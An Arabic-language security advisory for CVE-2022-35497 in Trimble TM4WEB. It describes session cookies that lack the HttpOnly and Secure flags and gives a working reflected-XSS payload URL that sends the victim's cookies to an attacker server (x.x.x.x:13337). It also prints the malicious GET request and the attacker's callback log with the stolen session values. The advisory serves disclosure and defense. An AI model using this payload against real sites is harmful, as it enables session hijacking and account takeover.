
ثغرة TM4WEB - CVE-2022-35497
في إصدار TM4WEB <=22.2.0 من Trimble، وبسبب سوء الإعداد الأمني لمعرّفات الجلسة، من الممكن استرداد ملفات تعريف ارتباط الجلسة الصالحة عبر ثغرة البرمجة النصية العابرة للمواقع المنعكسة (reflected XSS) التي تؤثر على نقطة نهاية عارض المستندات الخارجي.
على وجه التحديد، ملفات تعريف الارتباط الثلاثة المستخدمة للحفاظ على الجلسات هي UID وrstring وPHPSESSIONID، ولا يحتوي أي منها على علامة HttpOnly المناسبة لمنع استردادها عبر ناقلات تنفيذ JavaScript.
الخطوة 1 :
يستغل المهاجم ثغرة البرمجة النصية العابرة للمواقع المنعكسة CVE-2022-35499 للحصول على ملفات تعريف ارتباط جلسة الضحية المُصادَق عليها.
يبدأ المهاجم مستمعًا (listener) على منفذ عشوائي لخادم متصل بالإنترنت يمكنه استقبال طلبات HTTP. يمكن تحقيق ذلك باستخدام خدمة مثل requestbin، أو ببساطة عن طريق تشغيل مستمع netcat على منفذ عشوائي.
يستغل عنوان URL المثال ثغرة XSS المشار إليها CVE-2022-35499 لتنفيذ هجوم اختطاف جلسة على مستخدم مُصادَق عليه، ويرسل ملفات تعريف ارتباط جلسة الضحية إلى خادم يتحكم فيه المهاجم
(ممثلًا بالرمز x.x.x.x بدلًا من عنوان IP الخاص بنا في المثال) على المنفذ 13337
مثال لعنوان URL خبيث باستخدام موقع غير موجود:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
هذه الثغرة ممكنة فقط لأن معرّفات الجلسة غير محمية بشكل كافٍ ضد هذا النوع من الهجمات.
ملفات تعريف الارتباط الثلاثة المستخدمة للحفاظ على الجلسات هي:
UID
rstring
PHPSESSIONID
لا يتم تكوين أي من ملفات تعريف الارتباط هذه بعلامة HttpOnly. من شأن خيار التكوين هذا أن يمنع الوصول إلى قيم ملفات تعريف الارتباط من سياق JavaScript.
وبالمثل، يجب أيضًا تفعيل علامة SECURE على ملفات تعريف الارتباط هذه، مما يمنع إرسالها عبر قناة غير مشفرة.
يظهر أدناه طلب GET الخبيث المستخدم لتنفيذ الهجوم، مع حذف عنوان IP لخادم المهاجم واستبداله بالرمز x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
يظهر أدناه طلب الاستدعاء الناتج الذي يستلمه المهاجم على خادمه، ويكشف عن ملفات تعريف ارتباط جلسة الضحية المُلحقة بمعامل ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
الأثر : يمكن للمهاجمين من موقع هجوم غير مُصادَق عليه اختطاف جلسات وحسابات المستخدمين المُصادَق عليهم من خلال استغلال ثغرة XSS المنعكسة.